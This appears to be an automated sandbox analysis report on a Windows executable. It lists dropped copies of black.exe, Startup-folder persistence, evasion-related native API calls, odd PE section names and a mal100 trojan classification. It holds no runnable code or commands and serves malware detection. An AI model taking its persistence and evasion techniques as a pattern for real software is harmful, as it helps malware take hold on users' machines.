Windows Analysis Report
Y5kEUsYDFr.exe

PE file contains section with special chars

System Summary

Source: black.exe.0.dr	Static PE information: section name: .\|]Y
Source: black.exe.0.dr	Static PE information: section name: .z~z
Source: black.exe.0.dr	Static PE information: section name: .%?T
Source: black.exe.1.dr	Static PE information: section name: .\|]Y
Source: black.exe.1.dr	Static PE information: section name: .z~z
Source: black.exe.1.dr	Static PE information: section name: .%?T
Source: black.exe0.1.dr	Static PE information: section name: .\|]Y
Source: black.exe0.1.dr	Static PE information: section name: .z~z
Source: black.exe0.1.dr	Static PE information: section name: .%?T

Source: C:\Users\user\AppData\Roaming\black.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC270 NtCreateSection,	1_2_023AC270
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB660 NtClose,	1_2_023AB660
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC660 NtQueryVolumeInformationFile,	1_2_023AC660
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB750 NtProtectVirtualMemory,	1_2_023AB750
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC3B8 NtQuerySystemInformation,	1_2_023AC3B8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC788 NtDeviceIoControlFile,	1_2_023AC788
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB420 NtQueryInformationProcess,	1_2_023AB420
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023ABC80 NtAllocateVirtualMemory,	1_2_023ABC80
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC4D0 NtMapViewOfSection,	1_2_023AC4D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC138 NtOpenFile,	1_2_023AC138
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB548 NtSetInformationThread,	1_2_023AB548
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC268 NtCreateSection,	1_2_023AC268
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB658 NtClose,	1_2_023AB658
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC659 NtQueryVolumeInformationFile,	1_2_023AC659
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB74A NtProtectVirtualMemory,	1_2_023AB74A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC3B0 NtQuerySystemInformation,	1_2_023AC3B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC780 NtDeviceIoControlFile,	1_2_023AC780
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB418 NtQueryInformationProcess,	1_2_023AB418
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023ABC79 NtAllocateVirtualMemory,	1_2_023ABC79
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC4C8 NtMapViewOfSection,	1_2_023AC4C8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AC130 NtOpenFile,	1_2_023AC130
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AB546 NtSetInformationThread,	1_2_023AB546
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D6D68 NtSetInformationProcess,	1_2_023D6D68
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D7290 NtSetInformationProcess,	1_2_023D7290
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D7309 NtSetInformationProcess,	1_2_023D7309
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BABC80 NtAllocateVirtualMemory,	7_2_04BABC80
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC4D0 NtMapViewOfSection,	7_2_04BAC4D0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB420 NtQueryInformationProcess,	7_2_04BAB420
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC138 NtOpenFile,	7_2_04BAC138
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB548 NtSetInformationThread,	7_2_04BAB548
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC270 NtCreateSection,	7_2_04BAC270
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB660 NtClose,	7_2_04BAB660
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC660 NtQueryVolumeInformationFile,	7_2_04BAC660
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC3B8 NtQuerySystemInformation,	7_2_04BAC3B8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC788 NtDeviceIoControlFile,	7_2_04BAC788
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB750 NtProtectVirtualMemory,	7_2_04BAB750
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC4C8 NtMapViewOfSection,	7_2_04BAC4C8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB418 NtQueryInformationProcess,	7_2_04BAB418
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BABC79 NtAllocateVirtualMemory,	7_2_04BABC79
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC130 NtOpenFile,	7_2_04BAC130
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB540 NtSetInformationThread,	7_2_04BAB540
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC268 NtCreateSection,	7_2_04BAC268
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB658 NtClose,	7_2_04BAB658
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC659 NtQueryVolumeInformationFile,	7_2_04BAC659
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC3B0 NtQuerySystemInformation,	7_2_04BAC3B0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAC780 NtDeviceIoControlFile,	7_2_04BAC780
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAB749 NtProtectVirtualMemory,	7_2_04BAB749

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9CC2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6CA9CC2F0

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File created: C:\Windows\SysWOW64\jz2envuw.2rt.exe

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File deleted: C:\Windows\SysWOW64\jz2envuw.2rt.exe

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9C5E24	0_2_00007FF6CA9C5E24
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E1F20	0_2_00007FF6CA9E1F20
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9ECE88	0_2_00007FF6CA9ECE88
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DA4AC	0_2_00007FF6CA9DA4AC
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E3484	0_2_00007FF6CA9E3484
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9EB190	0_2_00007FF6CA9EB190
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F0754	0_2_00007FF6CA9F0754
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9CF930	0_2_00007FF6CA9CF930
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9D4928	0_2_00007FF6CA9D4928
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F8C1C	0_2_00007FF6CA9F8C1C
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9D5B60	0_2_00007FF6CA9D5B60
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E4B98	0_2_00007FF6CA9E4B98
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DBB90	0_2_00007FF6CA9DBB90
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E3964	0_2_00007FF6CA9E3964
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DC96C	0_2_00007FF6CA9DC96C
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F89A0	0_2_00007FF6CA9F89A0
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CAA05AF8	0_2_00007FF6CAA05AF8
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9D1A48	0_2_00007FF6CA9D1A48
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9C1AA4	0_2_00007FF6CA9C1AA4
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E2AB0	0_2_00007FF6CA9E2AB0
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9FFA94	0_2_00007FF6CA9FFA94
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CAA02080	0_2_00007FF6CAA02080
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E8DF4	0_2_00007FF6CA9E8DF4
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9F0754	0_2_00007FF6CA9F0754
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E2D58	0_2_00007FF6CA9E2D58
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DAF18	0_2_00007FF6CA9DAF18
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E53F0	0_2_00007FF6CA9E53F0
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DB534	0_2_00007FF6CA9DB534
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9E21D0	0_2_00007FF6CA9E21D0
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9DF180	0_2_00007FF6CA9DF180
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9CC2F0	0_2_00007FF6CA9CC2F0
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9CA310	0_2_00007FF6CA9CA310
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9D126C	0_2_00007FF6CA9D126C
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9C7288	0_2_00007FF6CA9C7288
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9C4840	0_2_00007FF6CA9C4840
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9FC838	0_2_00007FF6CA9FC838
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CAA02550	0_2_00007FF6CAA02550
Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe	Code function: 0_2_00007FF6CA9C76C0	0_2_00007FF6CA9C76C0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDADD8	1_2_00CDADD8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDA188	1_2_00CDA188
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDBD00	1_2_00CDBD00
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDC6E0	1_2_00CDC6E0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDA6A8	1_2_00CDA6A8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDAA50	1_2_00CDAA50
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDEA00	1_2_00CDEA00
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDE628	1_2_00CDE628
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDB7D0	1_2_00CDB7D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDD3A8	1_2_00CDD3A8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CD6301	1_2_00CD6301
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDBB20	1_2_00CDBB20
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDE098	1_2_00CDE098
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDADC8	1_2_00CDADC8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDC5E8	1_2_00CDC5E8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDA178	1_2_00CDA178
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDA698	1_2_00CDA698
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_00CDE618	1_2_00CDE618
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A1B18	1_2_023A1B18
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A1310	1_2_023A1310
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023ACBA8	1_2_023ACBA8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A53A0	1_2_023A53A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A0F98	1_2_023A0F98
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7BC0	1_2_023A7BC0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A5830	1_2_023A5830
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7420	1_2_023A7420
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AA408	1_2_023AA408
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AD050	1_2_023AD050
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A0850	1_2_023A0850
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A704A	1_2_023A704A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A78B0	1_2_023A78B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A6500	1_2_023A6500
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A1D70	1_2_023A1D70
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AD5B0	1_2_023AD5B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A21F0	1_2_023A21F0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A8688	1_2_023A8688
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AE308	1_2_023AE308
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7F01	1_2_023A7F01
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A8F78	1_2_023A8F78
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023ACB98	1_2_023ACB98
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AA3F9	1_2_023AA3F9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7BD0	1_2_023A7BD0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A083F	1_2_023A083F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7430	1_2_023A7430
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AAC31	1_2_023AAC31
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A9810	1_2_023A9810
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A7058	1_2_023A7058
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AE050	1_2_023AE050
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A9CA0	1_2_023A9CA0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023AE8E2	1_2_023AE8E2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023A21E0	1_2_023A21E0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D34C8	1_2_023D34C8
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D01D0	1_2_023D01D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D01C3	1_2_023D01C3
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D4430	1_2_023D4430
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D4440	1_2_023D4440
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D8C38	1_2_023D8C38
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D8C48	1_2_023D8C48
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D5318	1_2_023D5318
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D5188	1_2_023D5188
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D36B0	1_2_023D36B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D36A0	1_2_023D36A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D7729	1_2_023D7729
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Code function: 1_2_023D1FB0	1_2_023D1FB0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253AA50	7_2_0253AA50
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253EA00	7_2_0253EA00
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253BB20	7_2_0253BB20
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253A188	7_2_0253A188
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_025311B8	7_2_025311B8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253E628	7_2_0253E628
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253C6E0	7_2_0253C6E0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253A6A8	7_2_0253A6A8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253B7D0	7_2_0253B7D0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253BD00	7_2_0253BD00
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253ADD8	7_2_0253ADD8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253E098	7_2_0253E098
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253A178	7_2_0253A178
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_025311A8	7_2_025311A8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253E618	7_2_0253E618
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253A698	7_2_0253A698
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253ADC8	7_2_0253ADC8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_0253C5E8	7_2_0253C5E8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA5830	7_2_04BA5830
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7420	7_2_04BA7420
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAA408	7_2_04BAA408
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAD050	7_2_04BAD050
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA0850	7_2_04BA0850
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA704A	7_2_04BA704A
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAD5B0	7_2_04BAD5B0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA21F0	7_2_04BA21F0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA6500	7_2_04BA6500
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA1D70	7_2_04BA1D70
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BACBA8	7_2_04BACBA8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA53A0	7_2_04BA53A0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA0F98	7_2_04BA0F98
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7BC0	7_2_04BA7BC0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA1B18	7_2_04BA1B18
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA1310	7_2_04BA1310
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA78B0	7_2_04BA78B0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA9CA0	7_2_04BA9CA0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAE8E2	7_2_04BAE8E2
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA083F	7_2_04BA083F
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7430	7_2_04BA7430
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAAC31	7_2_04BAAC31
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA5820	7_2_04BA5820
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA9810	7_2_04BA9810
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7058	7_2_04BA7058
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAE050	7_2_04BAE050
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAD5A1	7_2_04BAD5A1
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA21E0	7_2_04BA21E0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA8688	7_2_04BA8688
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BACB98	7_2_04BACB98
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA5392	7_2_04BA5392
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAA3F9	7_2_04BAA3F9
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7BD0	7_2_04BA7BD0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BAE308	7_2_04BAE308
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA7F01	7_2_04BA7F01
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BA8F78	7_2_04BA8F78
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD34C8	7_2_04BD34C8
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD4430	7_2_04BD4430
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD4440	7_2_04BD4440
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD01D0	7_2_04BD01D0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD01C0	7_2_04BD01C0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD36B0	7_2_04BD36B0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD36A0	7_2_04BD36A0
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD5188	7_2_04BD5188
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD71E1	7_2_04BD71E1
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD5318	7_2_04BD5318
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD7E88	7_2_04BD7E88
Source: C:\Users\user\AppData\Roaming\black.exe	Code function: 7_2_04BD1FB0	7_2_04BD1FB0

Source: Y5kEUsYDFr.exe, 00000000.00000003.1668931650.0000017ACD921000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenametaskill.exe0 vs Y5kEUsYDFr.exe

Source: classification engine

Classification label: mal100.troj.adwa.evad.winEXE@42/41@3/3

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9CB6D8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF6CA9CB6D8

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9E8624 FindResourceExW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF6CA9E8624

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Users\user\AppData\Roaming\black.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2284:120:WilError_03

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Source: Y5kEUsYDFr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

File read: C:\Windows\win.ini

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Y5kEUsYDFr.exe	ReversingLabs: Detection: 47%
Source: Y5kEUsYDFr.exe	Virustotal: Detection: 60%

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

File read: C:\Users\user\Desktop\Y5kEUsYDFr.exe

